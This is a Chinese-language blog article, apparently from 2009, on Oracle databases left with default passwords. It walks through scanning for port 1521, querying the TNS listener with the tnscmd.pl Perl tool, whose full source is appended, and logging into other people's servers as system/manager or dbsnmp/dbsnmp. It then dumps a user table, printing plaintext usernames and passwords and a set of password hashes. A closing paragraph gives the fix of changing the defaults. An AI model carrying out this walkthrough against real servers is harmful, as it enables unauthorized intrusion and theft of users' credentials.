Oracle数据库默认密码的威胁

2009-2-4 02:56 730 16

摘要: Oracle数据库是现在很流行的数据库系统，很多大型网站都采用Oracle，它之所以倍受用户喜爱是因为它有以下突出的特点： 1：支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据...

关键词： nbsp Oracle 数据库 main 密码 logfile 00 indent 数据用户

Oracle数据库是现在很流行的数据库系统，很多大型网站都采用Oracle，它之所以倍受用户喜爱是因为它有以下突出的特点： 1：支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库，其大小可到几百千兆，可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用，并使数据争用最小，保证数据一致性。系统维护具有高的性能，Oracle每天可连续24小时工作，正常的系统操作（后备或个别计算机系统故障）不会中断数据库的使用。可控制数据库数据的可用性，可在数据库级或在子数据库级上控制。 2：Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统，保护了用户的投资。美国标准化和技术研究所（NIST）对Oracle7 SERVER进行检验，100%地与ANSI/ISO SQL89标准的二级相兼容。 3：实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性，为可接受的数据指定标准。 4：支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络，允许将处理分为数据库服务器和客户应用程序，所有共享的数据管理由数据库管理系统的计算机处理，而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境，Oracle将存放在多台计算机上的数据组合成一个逻辑数据库，可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行，以致Oracle上所开发的应用可移植到任何操作系统，只需很少修改或不需修改。Oracle软件同工业标准相兼容，包括很多工业标准的操作系统，所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。虽然Oracle数据库具有很高的安全性，但是如果我们在配置的时候不注意安全意识，那么也是很危险的。也就是说，安全最主要的还是要靠人自己，而不能过分依赖软件来实现。我们知道，在mssql中，安装完成后默认有个sa的登陆密码为空，如果不更改就会产生安全漏洞。那么oracle呢？也有的。为了安装和调试的方便，Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码，其中也包括很多大型的电子商务网站，我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现，看下面的文章吧。进行测试前我们先来了解一些相关的知识，我们连接一个Oracle数据库的时候，需要知道它的service_name或者是Sid值，就象mssql一样，需要知道数据库名。那如何去知道呢，猜？呵呵，显然是不行的。这里我们先讲讲oracle的TNS listener，它位于数据库Client和数据库Server之间，默认监听1521端口，这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话，oracle将不会返回它的banner，如果你输入一些东西的话，它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了，它可以查询远程oracle数据库是否开启（也就是ping了），查询版本，以及查询它的服务名，服务状态和数据库服务名，而且正确率很高。理论方面的讲完了，如果还有什么不懂的可以去查找相关资料。现在开始测试吧，需要的工具有：ActivePerl，Oracle客户端，Superscan或者是其它扫描端口的软件， Tnscmd.pl。我们先用Superscan扫描开放了端口1521的主机，假设其IP是xx.xx.110.110，这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了，Tnscmd.pl的用法如下：C:\perl\bin>perl tnscmd.plusage: tnscmd.pl [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent & outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage) 我们下面用的只有简单的几个命令，其他的命令也很好用，一起去发掘吧。。。。然后我们就这样来：C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indentsending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521writing 91 bytesreading._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO '.........@从上面得到的信息我们可以看出数据库的服务名为ORCL，然后我们就可以通过sqlplus工具来远程连上它了，用户名和密码我们用默认的system/manager或者是sys/manager，其他的如mdsys/mdsys，ctxsys/ctxsys等，这个默认用户和密码是随版本的不同而改变的哦~~~~。如下:C:\oracle\ora90\BIN>sqlplus /nologSQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002(c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=xx.xx.110.110)(port=1521)))(connect_data=(SERVICE_NAME=ORCL))); 如果密码正确，那么就会提示connected，如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了，那我们只能换别的目标了。但是我发现很多都是不改的，这个就是安全意识的问题了。成功连接后，这样来SQL>select distinct owner from all_objects;上面是查看数据库里面有多少用户，是不是觉得oracle数据库和mssql数据库很象？提交后出现以下信息：CTXSYSMDSYSDEMOPUBLICSYSSYSTEMORCL...我们需要的就是ORCL了，其他全是系统默认的，没有什么价值，呵呵~~~~ SQL>select owner,table_name from dba_tables where owner='ORCL';上面是查看数据表的内容了，提交后，出现以下信息：OWNER TABLE_NAME------------------------------ ------------------------------ORCL MLOG$_T1ORCL PLAN_TABLEORCL VODADORCL VODADMINORCL VODBUSIORCL VODFIRMORCL VODFIRMDETAILORCL VODGROUPORCL VODLOGORCL VODSUR...... ...... ORCL REGUNITTYPEORCL REGUSER....怎么样，发现你感兴趣的没有呢？REGUSER？用户信息。。。。。。哈哈。然后提交如下语句：SQL> desc ORCL.REGUSER; Name Null? Type ----------------------------------------- -------- ----------------------------UNAME VARCHAR2(32) PASSWORD VARCHAR2(20) IDTYPE VARCHAR2(2) IDNUM VARCHAR2(20) OCCUPATION VARCHAR2(2) BIRTHDAY DATE USTATE NUMBER(38)..... 是不是眼前一亮？出现了用户名和密码的字眼哦，那好等什么呢？提交如下语句吧：SQL> select UNAME,PASSWORD from ORCL.REGUSER;.....UNAME PASSWORD---------------- --------------------coolboy 780929Babycat 546789Mickey 794951WING 357954Badb0y 490570abcd 161346wwwcool 940216UNAME PASSWORD---------------- --------------------killer 643059lilymi 724811mick 190553Nicky 277514.....得到什么了？用户名和密码，而且是明文的！这样我们就成功的得到了该数据库的敏感信息了，还想干什么呢？小心为妙，呵呵。以上的密码是没有加密的，如果我们遇到那些安全意识比较高的管理员的话，那结果就不一样了，他会把默认密码更改掉，把敏感数据加密，比如我遇到的另一个主机就是这样的的情况了，密码不是明文显示的，而是进行了加密，这样就一定程度上增强了安全性。 SQL> select user_login_name,user_password from **.**; USER_LOGIN_NAME USER_PASSWORD-------------------- --------------------------------------------------admin oc1VhCpFQ2Gfv5lLgqBlJ4njzsq fEqNCco3Yq9h5ZUglD3CZJT4cyc fEqNCco3Yq9h5ZUglD3CZJT4alan igp+2MewyV3chSc/kDsfXJX4cindy Gb5DH4d0CCITzo09E7kJ8Ty5alice fEqNCco3Yq9h5ZUglD3CZJT4carrie fEqNCco3Yq9h5ZUglD3CZJT4wxm fEqNCco3Yq9h5ZUglD3CZJT4zhangj fEqNCco3Yq9h5ZUglD3CZJT4chengwl fEqNCco3Yq9h5ZUglD3CZJT4peggy fEqNCco3Yq9h5ZUglD3CZJT4 那么密码加密了是否就没有办法了呢？当然不是的，即使是MD5加密的密码也是可以破解的嘛。如果密码破解不出来，我们至少也得到了用户的ID哈。。。。就象mssql的sa弱口令可以得到系统权限一样，我们也可以利用这个得到主机的某些权限的，这里就不再讲了，当你明白了oracle的基本命令和操作指令后自然就知道了。上面讲了这么多，那么如何来修改这个默认口令呢，这才是我们关心的问题。具体操作如下：在SQL*DBA下键入： alter user sys indentified by password; alter user system indentified by password; 其中password为您为用户设置的密码。其实就是这么简单的几个语句就可以把安全性提高很多。总结：一句话，安全还是意识的问题，如果脑子里没有安全意识，那最安全的系统也是不安全的。附件：Tnscmd.pl #!/usr/bin/perl## tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)# tested under Linux x86 & OpenBSD Sparc + perl5## Initial cruft: [email protected] 5 Oct 2000## $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $## see also: # http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818 # http://otn.oracle.com/deploy/security/alerts.htm# http://xforce.iss.net/alerts/advise66.php ## GPL'd, of course. http://www.gnu.org/copyleft/gpl.html## $Log: tnscmd,v $# Revision 1.3 2001/04/26 06:45:48 jwa# typo in url. whoops.## Revision 1.2 2001/04/26 06:42:17 jwa# complete rewrite# - use IO::Socket instead of tcp_open# - got rid of pdump()# - put packet into @list and build it with pack()# - added --indent option## use IO::Socket;use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; ## process arguments# my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);my ($arg); while ($arg = shift @ARGV) { $main::hostname = shift @ARGV if ($arg eq "-h"); $main::port = shift @ARGV if ($arg eq "-p"); $main::logfile = shift @ARGV if ($arg eq "--logfile"); $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize"); $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize"); $main::indent = 1 if ($arg eq "--indent"); $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd"); $main::rawout = shift @ARGV if ($arg eq "--rawout");} if ($main::hostname eq "") { print <<_EOF_;usage: $0 [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent & outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage)_EOF_ exit(0);} # with no commands, default to pinging port 1521 $cmd = "ping" if ($cmd eq "");$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical ## main# my ($command); if (defined($main::rawcmd)){ $command = $main::rawcmd;}else{ $command = "(CONNECT_DATA=(COMMAND=$cmd))"; } my $response = tnscmd($command);viewtns($response);exit(0); ## build the packet, open the socket, send the packet, return the response# sub tnscmd{ my ($command) = shift @_; my ($packetlen, $cmdlen); my ($clenH, $clenL, $plenH, $plenL); my ($i); print "sending $command to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "") { $cmdlen = $main::fakecmdsize; print "Faking command length to $cmdlen bytes\n"; } else { $cmdlen = length ($command); } $clenH = $cmdlen >> 8; $clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize)) { print "Faking packet length to $main::fakepacketsize bytes\n"; $packetlen = $main::fakepacketsize; } else { $packetlen = length($command) + 58; # "preamble" is 58 bytes } $plenH = $packetlen >> 8; $plenL = $packetlen & 0xff; $packetlen = length($command) + 58 if (defined($main::fakepacketsize)); # decimal offset # 0: packetlen_high packetlen_low # 26: cmdlen_high cmdlen_low # 58: command # the packet. my (@packet) = ( $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, $clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ); for ($i=0;$i<length($command);$i++) { push(@packet, ord(substr($command, $i, 1))); } my ($sendbuf) = pack("C*", @packet); print "connect "; my ($tns_sock) = IO::Socket::INET->new( PeerAddr => $main::hostname, PeerPort => $main::port, Proto => 'tcp', Type => SOCK_STREAM, Timeout => 30) || die "connect to $main::hostname failure: $!"; $tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile)) { open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!"; print SEND $sendbuf || die "write to logfile failed: $!"; close(SEND); } my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf)) { print "only wrote $count bytes?!"; exit 1; } print "reading\n"; # get fun data # 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile)) { open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!"; } my ($buf, $recvbuf); # read until socket EOF while (sysread($tns_sock, $buf, 128)) { print REC $buf if (defined($main::logfile)); $recvbuf .= $buf; } close (REC) if (defined($main::logfile)); close ($tns_sock); return $recvbuf;} sub viewtns{ my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw) { print $response; } else { $response =~ tr/\200-\377/\000-\177/; # strip high bits $response =~ tr/\000-\027/\./; $response =~ tr/\177/\./; if ($main::indent) { parenify($response); } else { print $response; } print "\n"; } } sub parenify{ my ($buf) = shift @_; my ($i, $c); my ($indent, $o_indent); for ($i=0;$i<length($buf);$i++) { $c = substr($buf, $i, 1); $indent++ if ($c eq "("); $indent-- if ($c eq ")"); if ($indent != $o_indent) { print "\n" unless(substr($buf, $i+1, 1) eq "("); print " " x $indent; $o_indent = $indent; undef $c; } print $c; }}

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除